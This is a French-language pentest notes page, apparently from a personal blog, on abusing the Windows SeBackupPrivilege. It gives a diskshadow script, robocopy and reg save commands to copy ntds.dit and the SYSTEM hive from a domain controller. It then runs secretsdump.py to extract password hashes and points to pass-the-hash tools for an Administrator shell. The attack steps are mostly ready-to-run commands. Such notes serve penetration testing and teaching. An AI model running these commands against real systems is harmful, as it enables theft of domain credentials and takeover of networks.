# SeBackupPrivilege

## Description

SeBackupPrivilege permet de sauvegarder des fichiers et répertoires en demandant à NTFS d'octroyer l'accès suivant à tous les fichiers ou répertoires, quel que soit le descripteur de sécurité présent. (utilise diskshadow)

* READ\_CONTROL
* ACCESS\_SYSTEM\_SECURITY
* FILE\_GENERIC\_READ
* FILE\_TRAVERSE

{% hint style="warning" %}
Lors de l'ouverture d'un fichier pour la sauvegarde, l'appelant doit spécifier l'indicateur FILE\_FLAG\_BACKUP\_SEMANTICS. Autorise également l'accès correspondant aux clés de registre pour l'utilisation.
{% endhint %}

## Qu'est ce que Diskshadow ?

Diskshadow\.exe est un outil qui expose les fonctionnalités offertes par le service de cliché instantané des volumes (VSS). Par défaut, DiskShadow utilise un interpréteur de commandes interactif semblable à celui de DiskRAID ou diskpart. DiskShadow comprend également un mode scriptable.

ressource: <https://learn.microsoft.com/fr-fr/windows-server/administration/windows-commands/diskshadow>

Le fichier ntds.dit ne peut pas être copié directement à partir du chemin. Parce que lorsqu'un fichier est en utilisé alors il n'est pas possible de le copier. Par conséquent, nous utilisons diskshadow qui nous aide à créer une copie d'un lecteur (C:) actuellement utilisé. Et, à partir du clone du lecteur, nous pouvons copier le fichier ntds.dit.

## Exploitation

Créer un fichier "ine.txt" et définir les instructions pour copier le lecteur C:\ dans le lecteur E: avec un alias.

```
“”
set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias ineX
createX
expose %ine% E:X
end backupX
“”
```

Ensuite, convertir le fichier .txt au format Unix avec dos2unix par exemple (`dos2unix ine.txt`)

Placer le fichier créé dans la machine cible puis entrer les commandes suivantes:

1. `diskshadow /s ine.txt`
2. `robocopy /b e:\windows\ntds . ntds.dit`

{% hint style="info" %}
robocopy est un équivalent de "cp".
{% endhint %}

Ensuite, récupérer le fichier système des registres avec la commande:

`reg save hklm\system c:\path\to\save\copy`

L'étape suivante consiste à extraire ce fichier vers la machine attaquant pour pouvoir en extraire les hash. Pour cela on va utiliser secretdump.py de la suite impacket.

`$ secretsdump.py -ntds /root/ntds.dit -system /root/system LOCAL`

Une fois les hash extraits, on peut alors utiliser le hash du compte Administrateur récupéré pour obtenir un shell avec [evil-winrm](https://blog.s1rn3tz.ovh/pentest-ad/mouvements-lateraux#evil-winrm), [PsExec](https://blog.s1rn3tz.ovh/pentest-ad/mouvements-lateraux/pass-the-hash#psexec.py) ou encore [wmiexec](https://blog.s1rn3tz.ovh/pentest-ad/mouvements-lateraux/pass-the-hash#wmiexec.py).
